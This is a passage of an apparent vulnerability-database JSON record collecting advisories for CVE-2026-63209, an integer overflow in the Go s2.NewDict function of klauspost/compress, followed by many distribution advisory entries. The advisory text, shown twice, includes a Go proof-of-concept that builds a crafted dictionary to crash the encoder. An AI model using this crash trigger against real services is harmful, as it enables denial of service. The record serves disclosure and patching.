`s2.NewDict()` allows an attacker to bypass repeat index validation by supplying a dictionary with a uvarint-encoded repeat value exceeding `MaxInt64`. When `Dict.Encode()` is subsequently called, the overflowed negative repeat value causes an out-of-bounds memory access via `unsafe.Pointer` arithmetic, crashing the process with SIGSEGV.\n\n## Package\n\n- **Name:** `github.com/klauspost/compress/s2`\n- **Ecosystem:** Go\n- **Affected versions:** \u003c= v1.18.6 (all versions with `NewDict` function)\n\n## Severity\n\n**High (7.5)** — CVSS v3.1: `AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`\n\n## Vulnerability\n\n### Type\n- CWE-190: Integer Overflow or Wraparound\n- CWE-787: Out-of-bounds Write (via unsafe.Pointer)\n\n### Description\n\nThe `NewDict()` function reads a uvarint from dictionary data and converts it to `int`:\n\n```go\nr, n := binary.Uvarint(dict)\n// ...\nd.repeat = int(r)\nif d.repeat \u003e len(dict) {\n    return nil\n}\n```\n\nWhen `r` exceeds `MaxInt64` (9223372036854775807), `int(r)` overflows to a negative value. Since a negative number is never greater than a positive length, the validation check is bypassed.\n\nWhen `Dict.Encode()` is called, the negative `repeat` value causes an integer overflow in `encodeBlockDictGo()`:\n\n```go\nrepeat := len(dict.dict) - dict.repeat  // overflows: 62 - (-5758978476775341977) = huge positive\ncandidate := len(dict.dict) - repeat + s // underflows to negative\nload32(dict.dict, candidate)             // OOB via unsafe.Pointer\n```\n\n`load32` calls `le.Load32` which uses `unsafe.Pointer` arithmetic without bounds checking:\n\n```go\nfunc Load32[I Indexer](b []byte, i I) uint32 {\n    return *(*uint32)(unsafe.Add(unsafe.Pointer(unsafe.SliceData(b)), i))\n}\n```\n\nThis causes a segmentation fault (SIGSEGV) when the negative index is dereferenced.\n\n## PoC\n\n```go\npackage main\n\nimport (\n    \"encoding/binary\"\n    \"fmt\"\n    \"github.com/klauspost/compress/s2\"\n)\n\nfunc main() {\n    var dictData []byte\n    buf := make([]byte, binary.MaxVarintLen64)\n    n := binary.PutUvarint(buf, 12687765596934209639) // \u003e MaxInt64\n    dictData = append(dictData, buf[:n]...)\n    dictData = append(dictData, make([]byte, 16)...) // minimum dict size\n\n    dict := s2.NewDict(dictData)\n    // dict is non-nil despite invalid repeat value (overflow bypassed validation)\n\n    src := make([]byte, 64)\n    for i := range src { src[i] = byte(i) }\n    dict.Encode(nil, src) // SIGSEGV: OOB access via unsafe.Pointer\n}\n```\n\n## Impact\n\n- **Denial of Service:** The process crashes immediately with SIGSEGV\n\n## Attack Vector\n\nAny application that:\n1. Accepts user-supplied S2 dictionary data via `s2.NewDict()`\n2. Calls `Dict.Encode()` on any data ≥32 bytes\n\n## Suggested Fix\n\nValidate the uvarint value before converting to int:\n\n```go\nif r \u003e math.MaxInt64 {\n    return nil\n}\nd.repeat = int(r)\n```\n\nOr use `uint` for the repeat field and validate against `uint(len(dict))`.\n\n## References\n\n- Source: `s2/dict.go` lines 59-61 (vulnerability), `s2/encode_all.go` line 947 (crash site)\n- Commit: 539243b (v1.18.6 + 4 commits)\n\n## Credits\nChristopher Linke / https://github.com/celinke97/","status":"published","published":"2026-10-20T14:33:33Z","modified":"2026-10-20T14:33:35Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-190","CWE-787"],"updated_at":"2026-11-02T14:41:33.669646Z"}],"nvd":[{"id":"CVE-2026-63209","description":"compress provides various compression algorithms. Prior to version 1.18.7, a signed integer overflow vulnerability in s2.NewDict() allows an attacker to bypass repeat index validation by supplying a dictionary with a uvarint-encoded repeat value exceeding MaxInt64. When Dict.Encode() is subsequently called, the overflowed negative repeat value causes an out-of-bounds memory access via unsafe.Pointer arithmetic, crashing the process with SIGSEGV. This issue has been patched in version 1.18.7.","status":"published","published":"2026-09-29T15:17:27.13Z","modified":"2026-09-30T19:57:08.043Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"secondary"}],"cwes":["CWE-190","CWE-787"],"updated_at":"2026-11-02T14:12:52.413234Z"}],"osv":[{"id":"BELL-CVE-2026-63209","title":"CVE-2026-63209 does not affect BellSoft software","status":"withdrawn","published":"2026-10-02T06:05:05.215987Z","modified":"2026-10-21T07:15:04.57355301Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:28:24.959902Z"},{"id":"CVE-2026-63209","title":"Integer Overflow or Wraparound and Out-of-bounds Write in compress","description":"compress provides various compression algorithms. Prior to version 1.18.7, a signed integer overflow vulnerability in s2.NewDict() allows an attacker to bypass repeat index validation by supplying a dictionary with a uvarint-encoded repeat value exceeding MaxInt64. When Dict.Encode() is subsequently called, the overflowed negative repeat value causes an out-of-bounds memory access via unsafe.Pointer arithmetic, crashing the process with SIGSEGV. This issue has been patched in version 1.18.7.","status":"published","published":"2026-09-29T14:58:53.366Z","modified":"2026-11-05T19:12:44.817429824Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-190","CWE-787"],"updated_at":"2026-11-05T19:26:49.0049Z"},{"id":"DEBIAN-CVE-2026-63209","description":"compress provides various compression algorithms. Prior to version 1.18.7, a signed integer overflow vulnerability in s2.NewDict() allows an attacker to bypass repeat index validation by supplying a dictionary with a uvarint-encoded repeat value exceeding MaxInt64. When Dict.Encode() is subsequently called, the overflowed negative repeat value causes an out-of-bounds memory access via unsafe.Pointer arithmetic, crashing the process with SIGSEGV. This issue has been patched in version 1.18.7.","status":"published","published":"2026-09-29T15:17:27.13Z","modified":"2026-10-04T00:00:10.928486832Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:45:57.932517Z"},{"id":"GHSA-259r-337f-4rfw","title":"Compress/s2: Integer Overflow or Wraparound and Out-of-bounds Write in compress","description":"# Signed Integer Overflow in s2.NewDict\n\n## Summary\n\nA signed integer overflow vulnerability in `s2.NewDict()` allows an attacker to bypass repeat index validation by supplying a dictionary with a uvarint-encoded repeat value exceeding `MaxInt64`. When `Dict.Encode()` is subsequently called, the overflowed negative repeat value causes an out-of-bounds memory access via `unsafe.Pointer` arithmetic, crashing the process with SIGSEGV.\n\n## Package\n\n- **Name:** `github.com/klauspost/compress/s2`\n- **Ecosystem:** Go\n- **Affected versions:** \u003c= v1.18.6 (all versions with `NewDict` function)\n\n## Severity\n\n**High (7.5)** — CVSS v3.1: `AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`\n\n## Vulnerability\n\n### Type\n- CWE-190: Integer Overflow or Wraparound\n- CWE-787: Out-of-bounds Write (via unsafe.Pointer)\n\n### Description\n\nThe `NewDict()` function reads a uvarint from dictionary data and converts it to `int`:\n\n```go\nr, n := binary.Uvarint(dict)\n// ...\nd.repeat = int(r)\nif d.repeat \u003e len(dict) {\n    return nil\n}\n```\n\nWhen `r` exceeds `MaxInt64` (9223372036854775807), `int(r)` overflows to a negative value. Since a negative number is never greater than a positive length, the validation check is bypassed.\n\nWhen `Dict.Encode()` is called, the negative `repeat` value causes an integer overflow in `encodeBlockDictGo()`:\n\n```go\nrepeat := len(dict.dict) - dict.repeat  // overflows: 62 - (-5758978476775341977) = huge positive\ncandidate := len(dict.dict) - repeat + s // underflows to negative\nload32(dict.dict, candidate)             // OOB via unsafe.Pointer\n```\n\n`load32` calls `le.Load32` which uses `unsafe.Pointer` arithmetic without bounds checking:\n\n```go\nfunc Load32[I Indexer](b []byte, i I) uint32 {\n    return *(*uint32)(unsafe.Add(unsafe.Pointer(unsafe.SliceData(b)), i))\n}\n```\n\nThis causes a segmentation fault (SIGSEGV) when the negative index is dereferenced.\n\n## PoC\n\n```go\npackage main\n\nimport (\n    \"encoding/binary\"\n    \"fmt\"\n    \"github.com/klauspost/compress/s2\"\n)\n\nfunc main() {\n    var dictData []byte\n    buf := make([]byte, binary.MaxVarintLen64)\n    n := binary.PutUvarint(buf, 12687765596934209639) // \u003e MaxInt64\n    dictData = append(dictData, buf[:n]...)\n    dictData = append(dictData, make([]byte, 16)...) // minimum dict size\n\n    dict := s2.NewDict(dictData)\n    // dict is non-nil despite invalid repeat value (overflow bypassed validation)\n\n    src := make([]byte, 64)\n    for i := range src { src[i] = byte(i) }\n    dict.Encode(nil, src) // SIGSEGV: OOB access via unsafe.Pointer\n}\n```\n\n## Impact\n\n- **Denial of Service:** The process crashes immediately with SIGSEGV\n\n## Attack Vector\n\nAny application that:\n1. Accepts user-supplied S2 dictionary data via `s2.NewDict()`\n2. Calls `Dict.Encode()` on any data ≥32 bytes\n\n## Suggested Fix\n\nValidate the uvarint value before converting to int:\n\n```go\nif r \u003e math.MaxInt64 {\n    return nil\n}\nd.repeat = int(r)\n```\n\nOr use `uint` for the repeat field and validate against `uint(len(dict))`.\n\n## References\n\n- Source: `s2/dict.go` lines 59-61 (vulnerability), `s2/encode_all.go` line 947 (crash site)\n- Commit: 539243b (v1.18.6 + 4 commits)\n\n## Credits\nChristopher Linke / https://github.com/celinke97/","status":"published","published":"2026-10-20T14:33:33Z","modified":"2026-10-20T14:45:03.782718646Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-190","CWE-787"],"updated_at":"2026-11-02T15:46:33.956911Z"},{"id":"RHSA-2026:54413","title":"Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update","status":"published","published":"2026-10-02T10:18:57Z","modified":"2026-10-20T10:11:06Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:21.457353Z"},{"id":"RHSA-2026:54419","title":"Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update","status":"published","published":"2026-10-02T10:18:58Z","modified":"2026-10-20T10:11:07Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:21.457353Z"},{"id":"RHSA-2026:58472","title":"Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update","status":"published","published":"2026-10-02T10:19:43Z","modified":"2026-10-20T10:43:37.788466737Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:21.457353Z"},{"id":"RHSA-2026:68256","title":"Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update","status":"published","published":"2026-10-02T10:22:58Z","modified":"2026-10-20T10:14:09Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:22.406388Z"},{"id":"RHSA-2026:68272","title":"Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update","status":"published","published":"2026-09-22T10:19:09Z","modified":"2026-10-20T10:43:33.402516083Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:22.406388Z"},{"id":"RHSA-2026:68290","title":"Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update","status":"published","published":"2026-09-22T10:19:11Z","modified":"2026-10-20T10:43:37.203533689Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:22.406388Z"},{"id":"RHSA-2026:68591","title":"Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update","status":"published","published":"2026-09-22T10:19:17Z","modified":"2026-10-20T10:43:37.654561257Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:22.406388Z"},{"id":"RHSA-2026:68717","title":"Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update","status":"published","published":"2026-09-22T10:19:28Z","modified":"2026-10-20T10:43:38.774897827Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:22.406388Z"},{"id":"RHSA-2026:68729","title":"Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update","status":"published","published":"2026-09-22T10:19:28Z","modified":"2026-10-20T10:43:33.775079436Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:22.406388Z"},{"id":"RHSA-2026:68806","title":"Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update","status":"published","published":"2026-09-23T10:14:50Z","modified":"2026-10-20T10:14:18Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:22.406388Z"},{"id":"RHSA-2026:68808","title":"Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update","status":"published","published":"2026-09-23T10:14:50Z","modified":"2026-10-20T10:14:19Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:22.406388Z"},{"id":"RHSA-2026:70031","title":"Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update","status":"published","published":"2026-10-02T10:23:41Z","modified":"2026-10-20T10:43:35.21092296Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:22.406388Z"},{"id":"RHSA-2026:70670","title":"Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update","status":"published","published":"2026-10-02T10:24:07Z","modified":"2026-10-20T10:43:36.2960249Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:22.928316Z"},{"id":"RHSA-2026:70684","title":"Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update","status":"published","published":"2026-10-02T10:24:07Z","modified":"2026-10-20T10:14:44Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:22.928316Z"},{"id":"RHSA-2026:70726","title":"Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update","status":"published","published":"2026-10-02T10:24:08Z","modified":"2026-10-20T10:14:46Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:22.928316Z"},{"id":"RHSA-2026:72490","title":"Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update","status":"published","published":"2026-10-02T10:24:58Z","modified":"2026-10-20T10:43:36.117773545Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:22.928316Z"},{"id":"RHSA-2026:72491","title":"Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update","status":"published","published":"2026-10-02T10:24:58Z","modified":"2026-10-20T10:43:38.441249716Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:22.928316Z"},{"id":"RHSA-2026:72492","title":"Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update","status":"published","published":"2026-10-02T10:24:59Z","modified":"2026-10-20T10:43:38.567022739Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:22.928316Z"},{"id":"RHSA-2026:72493","title":"Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update","status":"published","published":"2026-10-02T10:24:59Z","modified":"2026-10-20T10:43:34.874366771Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:22.928316Z"},{"id":"RHSA-2026:72496","title":"Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update","status":"published","published":"2026-10-02T10:25:00Z","modified":"2026-10-20T10:43:37.829210628Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:22.928316Z"},{"id":"RHSA-2026:72497","title":"Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update","status":"published","published":"2026-09-29T10:18:27Z","modified":"2026-10-20T10:43:33.826219773Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:22.928316Z"},{"id":"RHSA-2026:72498","title":"Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update","status":"published","published":"2026-09-29T10:18:28Z","modified":"2026-10-20T10:43:36.491146369Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:22.928316Z"},{"id":"RHSA-2026:72507","title":"Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update","status":"published","published":"2026-10-01T10:20:39Z","modified":"2026-10-20T10:43:34.270695506Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:22.928316Z"},{"id":"RHSA-2026:72570","title":"Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update","status":"published","published":"2026-10-02T10:25:03Z","modified":"2026-10-20T10:43:38.726782363Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:22.928316Z"},{"id":"UBUNTU-CVE-2026-63209","description":"compress provides various compression algorithms. Prior to version 1.18.7, a signed integer overflow vulnerability in s2.NewDict() allows an attacker to bypass repeat index validation by supplying a dictionary with a uvarint-encoded repeat value exceeding MaxInt64. When Dict.Encode() is subsequently called, the overflowed negative repeat value causes an out-of-bounds memory access via unsafe.Pointer arithmetic, crashing the process with SIGSEGV. This issue has been patched in version 1.18.7.","status":"published","published":"2026-09-29T15:17:00Z","modified":"2026-10-17T12:59:15.594493912Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T16:56:43.630667Z"},{"id":"AZL-105534","title":"CVE-2026-63209 affecting package keda 2.14.1-19","description":"compress provides various compression algorithms. Prior to version 1.18.7, a signed integer overflow vulnerability in s2.NewDict() allows an attacker to bypass repeat index validation by supplying a dictionary with a uvarint-encoded repeat value exceeding MaxInt64. When Dict.Encode() is subsequently called, the overflowed negative repeat value causes an out-of-bounds memory access via unsafe.Pointer arithmetic, crashing the process with SIGSEGV. This issue has been patched in version 1.18.7.","status":"published","published":"2026-09-29T15:17:27Z","modified":"2026-10-15T05:37:09Z","updated_at":"2026-11-02T15:28:01.09948Z"},{"id":"AZL-105906","title":"CVE-2026-63209 affecting package telegraf 1.31.0-33","description":"compress provides various compression algorithms. Prior to version 1.18.7, a signed integer overflow vulnerability in s2.NewDict() allows an attacker to bypass repeat index validation by supplying a dictionary with a uvarint-encoded repeat value exceeding MaxInt64. When Dict.Encode() is subsequently called, the overflowed negative repeat value causes an out-of-bounds memory access via unsafe.Pointer arithmetic, crashing the process with SIGSEGV. This issue has been patched in version 1.18.7.","status":"published","published":"2026-09-29T15:17:27Z","modified":"2026-10-15T05:37:09Z","updated_at":"2026-11-02T15:28:01.09948Z"},{"id":"GO-2026-5841","title":"OOB read in github.com/klauspost/compress/s2","description":"Providing a specially crafted dictionary to s2.NewDict and using it to encode data can make the encoder read out of bounds.","status":"published","published":"2026-07-27T16:16:22Z","modified":"2026-09-30T03:55:34.839663968Z","updated_at":"2026-11-02T15:47:02.838915Z"},{"id":"openSUSE-SU-2026:11939-1","title":"amazon-cloudwatch-agent-1.300073.0-1.1 on GA media","description":"These are all security issues fixed in the amazon-cloudwatch-agent-1.300073.0-1.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2026-10-01T00:00:00Z","modified":"2026-10-02T18:23:12.119946195Z","updated_at":"2026-11-02T16:58:40.245664Z"},{"id":"openSUSE-SU-2026:11953-1","title":"aliyun-cli-3.5.1-2.1 on GA media","description":"These are all security issues fixed in the aliyun-cli-3.5.1-2.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2026-10-02T00:00:00Z","modified":"2026-10-03T17:23:08.350284598Z","updated_at":"2026-11-02T16:58:40.245664Z"},{"id":"openSUSE-SU-2026:11955-1","title":"cadvisor-0.60.6-1.1 on GA media","description":"These are all security issues fixed in the cadvisor-0.60.6-1.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2026-10-02T00:00:00Z","modified":"2026-10-03T17:23:08.919831352Z","updated_at":"2026-11-02T16:58:40.245664Z"},{"id":"openSUSE-SU-2026:11957-1","title":"distribution-registry-3.1.1-9.1 on GA media","description":"These are all security issues fixed in the distribution-registry-3.1.1-9.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2026-10-02T00:00:00Z","modified":"2026-10-03T17:23:09.336446135Z","updated_at":"2026-11-02T16:58:40.245664Z"},{"id":"openSUSE-SU-2026:11960-1","title":"crane-0.22.1-2.1 on GA media","description":"These are all security issues fixed in the crane-0.22.1-2.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2026-10-02T00:00:00Z","modified":"2026-10-03T17:23:09.336451833Z","updated_at":"2026-11-02T16:58:40.245664Z"},{"id":"openSUSE-SU-2026:11961-1","title":"google-osconfig-agent-20260928.01-1.1 on GA media","description":"These are all security issues fixed in the google-osconfig-agent-20260928.01-1.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2026-10-02T00:00:00Z","modified":"2026-10-03T17:23:09.334522516Z","updated_at":"2026-11-02T16:58:40.245664Z"},{"id":"openSUSE-SU-2026:11962-1","title":"hauler-2.1.1-1.1 on GA media","description":"These are all security issues fixed in the hauler-2.1.1-1.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2026-10-02T00:00:00Z","modified":"2026-10-03T17:23:09.024773023Z","updated_at":"2026-11-02T16:58:40.245664Z"},{"id":"openSUSE-SU-2026:11963-1","title":"helm-4.3.0-4.1 on GA media","description":"These are all security issues fixed in the helm-4.3.0-4.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2026-10-02T00:00:00Z","modified":"2026-10-03T17:23:09.831998523Z","updated_at":"2026-11-02T16:58:40.245664Z"},{"id":"openSUSE-SU-2026:11964-1","title":"helm3-3.22.0-3.1 on GA media","description":"These are all security issues fixed in the helm3-3.22.0-3.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2026-10-02T00:00:00Z","modified":"2026-10-03T17:23:09.824951295Z","updated_at":"2026-11-02T16:58:40.245664Z"},{"id":"openSUSE-SU-2026:12114-1","title":"alloy-1.20.1-1.1 on GA media","description":"These are all security issues fixed in the alloy-1.20.1-1.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2026-10-13T00:00:00Z","modified":"2026-10-14T17:23:09.124869157Z","updated_at":"2026-11-02T16:58:40.245664Z"},{"id":"openSUSE-SU-2026:12163-1","title":"gh-2.102.0-1.1 on GA media","description":"These are all security issues fixed in the gh-2.102.0-1.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2026-10-17T00:00:00Z","modified":"2026-10-18T11:15:03.242747585Z","updated_at":"2026-11-02T16:58:40.245664Z"},{"id":"openSUSE-SU-2026:12186-1","title":"rqlite-10.6.1-1.1 on GA media","description":"These are all security issues fixed in the rqlite-10.6.1-1.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2026-10-18T00:00:00Z","modified":"2026-10-19T09:30:05.162125074Z","updated_at":"2026-11-02T16:58:40.245664Z"},{"id":"openSUSE-SU-2026:22039-1","title":"Security update for distribution","description":"This update for distribution fixes the following issue:\n\n- CVE-2026-63209: github.com/klauspost/compress: signed integer overflow in s2.NewDict() allows an attacker to bypass\n  repeat index validation and cause a process crash (bsc#1283762).\n","status":"published","published":"2026-10-06T15:08:34Z","modified":"2026-10-09T17:23:14.515688455Z","updated_at":"2026-11-02T16:58:42.426393Z"},{"id":"openSUSE-SU-2026:22057-1","title":"Security update for helm","description":"This update for helm fixes the following issues:\n\n- CVE-2026-63209: github.com/klauspost/compress: signed integer overflow in s2.NewDict() allows an attacker to bypass\n  repeat index validation and cause a process crash (bsc#1283642).\n- CVE-2026-81870: OpenTelemetry-Go: Information disclosure via exporter (bsc#1284104).\n- CVE-2026-85732: oras.land/oras-go/v2: blind SSRF via unvalidated Link header URL in pagination allows internal network\n  probing (bsc#1281112).\n","status":"published","published":"2026-10-08T06:20:47Z","modified":"2026-10-19T17:23:10.668693043Z","updated_at":"2026-11-02T16:58:42.426393Z"},{"id":"openSUSE-SU-2026:22078-1","title":"Security update for google-osconfig-agent","description":"This update for google-osconfig-agent fixes the following issue:\n\n- CVE-2026-63209: github.com/klauspost/compress: signed integer overflow in s2.NewDict() allows an attacker to bypass\n  repeat index validation and cause a process crash (bsc#1283672).\n\nChanges for google-osconfig-agent:\n\n- Update to version 20260928.01\n * scalibr linux new metadata support (#1038)\n- from version 20260928.00\n * Fix failing to report REBOOTING state during postPatchReboot\n due to context canceled for Windows VMs (#1055)\n- from version 20260923.03\n * Fix os/snap extractor usage (#1053)\n- Update to version 20260918.01\n * bump grpc package to new version (#1057)\n- from version 20260918.00\n * bump some dependencies across few modules (#1056)\n- Remove stale Go module version overrides in _service file\n","status":"published","published":"2026-10-09T12:48:26Z","modified":"2026-10-19T17:23:12.631840198Z","updated_at":"2026-11-02T16:58:42.426393Z"},{"id":"openSUSE-SU-2026:22116-1","title":"Security update for hauler","description":"This update for hauler fixes the following issues:\n\nChanges in hauler:\n\n- update to 2.1.1:\n  * bumped go version to v1.26.7 (backport #771)\n  * https registry auth fix (backport #763)\n  * adjust supporting artifact retrieval (backport #777)\n  * reject --platform on digest-pinned multi-platform images\n  * fix: serve registry returns an empty /v2/_catalog list\n  * added airgapped support for install.sh and added windows\n    install.ps1\n  * added/fixed basic auth with registry and fileserver\n  * fixed store inventory race with concurrent processes\n  * added type filter to store copy\n  * fixed missing dirs in containers\n  * updated github workflows with versions, permissions, and\n    concurrency\n\n- update vendor.tar to fix:\n  * bsc#1280110, CVE-2026-53495\n","status":"published","published":"2026-10-14T07:40:11Z","modified":"2026-10-19T17:23:14.592172124Z","updated_at":"2026-11-02T16:58:42.426393Z"},{"id":"openSUSE-SU-2026:22117-1","title":"Security update for cadvisor","description":"This update for cadvisor fixes the following issues:\n\nChanges in cadvisor:\n\n- update to 0.60.6:\n  * workflows: mirror release tags to lib/ module tags\n  * fs/zfs: fall back to VFS when zfs stats are unavailable\n  * storage/stdout: nil-check Cpu, Network, and Memory stats\n  * Treat memory-only NUMA nodes as valid topology\n- update vendor.tar to fix\n  * bsc#1283657, CVE-2026-63209: cadvisor:\n    github.com/klauspost/compress: signed integer overflow in\n    s2.NewDict()\n","status":"published","published":"2026-10-14T07:45:05Z","modified":"2026-10-19T17:23:15.291651333Z","updated_at":"2026-11-02T16:58:42.426393Z"},{"id":"openSUSE-SU-2026:22134-1","title":"Security update for gh","description":"This update for gh fixes the following issues:\n\nChanges in gh:\n\n- Update to version 2.102.0, fixing four security issues\n  (GHSA-39wj-f2f4-978v, GHSA-4mq3-hpgx-9cx8, GHSA-qcwj-mr2r-2cx7,\n  GHSA-wjmr-j3rp-mh2g):\n\n  * gh release/run/attestation download and repo read-file --output\n    could write to an unintended file through symbolic links\n  * gh attestation verify compared --source-ref case-insensitively\n  * gh attestation verify matched --signer-workflow only by prefix\n  * gh skill search could inject options into gh skill install\n  * Copy auth codes to the clipboard by default (gh config set\n    clipboard disabled to opt out)\n  * Remove the gh repo garden command and the multi-account migration\n  * Use API SSH URLs for repository clones\n  * Validate repository names during interactive creation\n  * Fix remote branch deletion on owner case mismatch\n  * Propagate the gh path to extensions\n  * Allow ghu_ tokens to attach files\n  * Allow gh repo set-default 